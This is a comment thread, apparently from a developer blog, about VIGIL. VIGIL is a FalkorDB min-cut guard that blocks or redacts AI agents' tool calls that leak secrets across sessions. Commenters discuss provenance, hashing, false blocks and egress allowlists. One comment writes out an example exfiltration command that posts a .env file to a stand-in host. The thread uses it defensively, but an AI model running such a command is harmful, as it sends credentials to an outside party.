How I used FalkorDB's algo.maxFlow to decide whether to block an AI agent's tool call or redact a single argument—and the four graph-engine quirks ...
For further actions, you may consider blocking this person and/or reporting abuse
The bank-fraud analogy earns its place, and it also names the hard fixture: a coffee in Mumbai and a hotel in Dubai an hour later is suspicious - two coffees in the same Mumbai cafe is not, even though that is also "the same value appearing twice." The cross-session version is a string that shows up in session A's .env and session B's curl where A was not the source: the value was already public. A version pin in a README, a base image digest, an example token from the library's own docs. Without first-seen-in-secret-context provenance on each node, the graph flags a coincidence and the min-cut optimizes the wrong network. The replay that caught your false-positive detector is the right instinct; the fixture set I'd pin alongside the six attack scenarios is six non-attacks: legitimate same-value reappearances, including one where the secret-looking string sat in a public repo months before either session. Every false block trains the user to click past the guard, and a guard people click past protects worse than the curl.
Thanks, this is the sharpest critique the post has had, and you're right about the fixture.
Here's where VIGIL stands today. A value only becomes sensitive when it's read in a secret context: assigned to a secret-named key (API_KEY=, password:) or credential-shaped (20+ mixed characters, not plain hex), so plain words, hashes and commit ids never qualify. Content fetched from outside is recorded with EXTERNAL trust, not as a secret. So "secret context at read time" exists, but "first seen" doesn't. If a doc's example token shows up in someone's .env and later in a curl, VIGIL treats it as a leak, even though the value was public long before either session. I hit a version of this in my own replay too: public wallet addresses look exactly like secrets of the same shape, and I listed that as an open limitation.
The fix I want is what you describe: record where a value was first seen, and the trust of that source, on the Value node. A value whose first sighting was public content never becomes a secret just because it later sits in a .env.
I'll also add your negative set to the removal test, so it's 6 attacks plus N legitimate same-value reappearances, including one where the string sat in a public repo months before either session, and report false blocks next to the catches.
On click fatigue, completely agree. That's why VIGIL's default when it has no evidence is Claude Code's normal prompt, not a deny, and why it redacts one argument instead of blocking when the min cut allows it. A guard people click past is worse than no guard.
The first-seen provenance design has one trap of its own worth pinning before you build it: the Value node now stores the secret. If the graph holds raw values with "first seen in .env, trust: private" attached, VIGIL becomes the most attractive secret store in the repo - one read query away from a curated credential list. Store an HMAC of the value under a key held outside the graph, and compare digests instead of strings. That also fixes a subtler problem: your secret-shaped detector (20+ mixed characters) will collide on near-misses, so exact-string provenance was always going to under-match; a digest of the canonicalized value at least makes the comparison honest. On the negative set: the case I'd weight heaviest is the one where the same engineer put the example token in .env deliberately because the docs said to. That's not a leak in any threat model, but "doc example later in .env" is exactly the signature your current rule flags, and it's the most common shape in real repos.
That's how VIGIL treats values in FalkorDB:
The honest limit: "public" needs a sighting. A string public somewhere VIGIL never looked is treated as a secret on first contact.
That is the design done right - digests in the graph, key with the firewall, canonicalization before hashing, and "public needs a sighting" failing in the safe direction. The honest limit is also the measurable one: an unseen-public string that flags as a secret produces a false block, which is exactly the counter your extended removal test now tracks. So the limit has a number attached to it instead of being a caveat. One residual I'd keep an eye on as the history grows: canonicalization handles quotes and padding, but secrets get reformatted in ways that change the digest entirely - a key pasted with a line break mid-string, or URL-encoded in a config file. If those start showing up as misses, a second canonical form (strip-all-whitespace) as an alternate digest is cheaper than fuzzy matching. Looking forward to the false-block count next to the six catches.
You were right on both points, so I built them.
Reformatted secrets: a key split by a line break or URL-encoded is now matched to its original. When FalkorDB's min cut says "redact", VIGIL removes the text that's really in the call.
False blocks, measured: 1 of 4 legitimate same-value calls is blocked, and it's the known limit (a value that's public somewhere VIGIL never looked). The six attacks are still all caught.
github.com/Aaditya1273/Onix/blob/m...
Thanks for pushing on this. It made VIGIL better.
The bank-fraud analogy is the right instinct: the missing unit of policy is the lineage, not the individual call.
Three layers that work without building a graph engine, cheapest first:
curl -d @.env https://notes-sync.example. If outbound traffic from that sandbox only reaches package registries and the specific APIs a task needs, the second innocuous-looking node loses its edge.The graph stays valuable for what allowlists miss: legitimate-looking hosts - paste sites, webhook tools, personal domains - that only look wrong in combination. Worth building as the layer on top, not the first one.
The Nx incident being routed through dev tooling is the part more teams should sit with.
Agreed, and that's the right order. Keep secrets out of the workspace, allowlist the egress, use short-lived keys. Do all three first.
VIGIL is meant for the layer on top, the one you described: a paste site, a webhook tool or a personal domain. Each call looks clean on its own and only looks wrong once you see where the value came from. That's why the lineage lives in FalkorDB. "This value was read from .env in another session" is a single graph query, and a min cut over the same graph decides whether to redact the value or block the call.
We didn't build a graph engine either. FalkorDB is the engine, and VIGIL is the policy that sits on top of it.
And yes, Nx is the one to remember. The attack went through the dev tools developers already trust.
The bank-fraud analogy is the right framework. But underneath it there's a question I keep coming back to: should detection be the layer where we solve this at all?
The graph model is clever and those latency numbers are hard to argue with. But monitoring has a timing problem you can't design around. By the time the guard sees a value crossing a session boundary, the secret has already been read into the agent's context. The cut is always after the damage.
Cekuu35's comment about per-task scoped values and default-deny reads points toward a better architecture: keep secrets out of the agent's workspace and route credential access through an authorization layer. The agent requests what it needs, the credential is injected into the specific call, and expires after that operation. No monitoring needed because the value was never available to begin with.
This is the direction we're working on at CAI. You trade runtime graph complexity for a simpler model: authorize first, access second.
Authorize-first is better wherever you can do it. Brokered, per-call credentials should be the default.
One correction on timing, though. VIGIL runs as a PreToolUse hook, so it decides before each tool call executes, not after it. A secret sitting in the agent's context isn't the leak yet. The leak is the call that sends it out, and that's the call the min cut stops before it runs.
Brokering also only covers the credentials you know about. Agents still read files, logs and tool output full of values nobody registered: a token left in a config, a key in a stack trace. Those are the ones that cross sessions, and FalkorDB keeps the lineage that shows where each of them came from.
So I'd stack them the same way you do: authorize first, then watch the flow of whatever still gets through.
Judging one tool call at a time is the actual defect, and the bank-fraud analogy is the right way to explain it to anyone not already convinced.
What you've built is taint tracking with a graph as the taint store, and it's worth naming it that way — there's substantial prior art in information-flow control that maps onto this, including the hard part, which is deciding how long a taint persists. "Has this value appeared in an earlier session" needs an expiry, or the graph accumulates until everything is tainted.
The false-positive bug you found by replaying your own history is the most valuable result here. A detector tuned only against attacks over-blocks, and you only find that against real traffic.
Curious what the added latency per call looks like.